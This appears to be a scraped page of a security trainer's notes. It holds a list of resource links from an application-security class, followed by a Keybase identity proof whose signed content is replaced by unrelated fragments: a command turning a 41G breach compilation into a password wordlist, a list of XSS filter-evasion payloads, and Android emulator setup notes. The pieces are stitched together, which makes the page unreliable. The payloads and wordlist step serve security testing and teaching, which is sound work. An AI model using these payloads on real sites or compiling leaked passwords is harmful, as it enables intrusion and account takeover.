Bill Sempf sempf

Developing Kids - a Retrospective

This is a link aggregation for things discussed at Bill's 2024 Developing Kids CodeMash talk

Preschool

At CodeMash 2.0.2.0 we covered a lot of topics in Application Security. Can't share my slides (we didn't use many anyway) but I can make a list of resources based on what we talked about. Many of these are OWASP links, and OWASP is transitioning from MediaWiki to GitHub, so it might take a little work over time to find the resource. That said, let's do what we can.

The class started by talking about the OWASP Security Principles. https://wiki.owasp.org/index.php/OWASP_Security_Principles_Project

Then we dove into vulnerability assessment. Our target? OWASP Juice Shop. https://github.com/bkimminich/juice-shop

The browser most used was FireFox. https://www.mozilla.org/en-US/firefox/

And between those we used an attack proxy. For this class we used Burp Suite Community Edition. https://portswigger.net/burp

Keybase proof

I hereby claim:

I am sempf on github.
I am sempf (https://keybase.io/sempf) on keybase.
I have a public key whose fingerprint is 47A9 74E1 8C28 B419 A092 791F A628 D30E 5565 EC89

To claim this, I am signing this object:

	wordlist created from original 41G stash via:

	grep -rohP '(?<=:).*$' \| uniq > breachcompilation.txt

	Then, compressed with:

	7z a breachcompilation.txt.7z breachcompilation.txt

	Size:

	<script\x20type="text/javascript">javascript:alert(1);</script>
	<script\x3Etype="text/javascript">javascript:alert(1);</script>
	<script\x0Dtype="text/javascript">javascript:alert(1);</script>
	<script\x09type="text/javascript">javascript:alert(1);</script>
	<script\x0Ctype="text/javascript">javascript:alert(1);</script>
	<script\x2Ftype="text/javascript">javascript:alert(1);</script>
	<script\x0Atype="text/javascript">javascript:alert(1);</script>
	'`"><\x3Cscript>javascript:alert(1)</script>
	'`"><\x00script>javascript:alert(1)</script>
	<img src=1 href=1 onerror="javascript:alert(1)"></img>

	Get Genymotion from https://www.genymotion.com/
	Pay for it. For crying out loud.
	OK, now set up a device one version of Android behind, and using a Google image.
	Start it.
	Click OK on the AAPT not found.
	After it boots, we need the Google apps. What you thought Android was open source? HAHAHAHAHAHA.
	First, we need ARM translation.
	Search for "genymotion arm translation download" and pick the least eggregious download site. Make sure you are wearing a digital condom.
	Now the apps.
	Open http://opengapps.org/

	What I'm talking about

	• Intro
	• Mobile Top 10
	• Set up a test Gmail account
	• Connect it to Facebook, Twitter, Linkedin if you can.

	Local test environment
	• Genymotion
	○ Required VirtualBox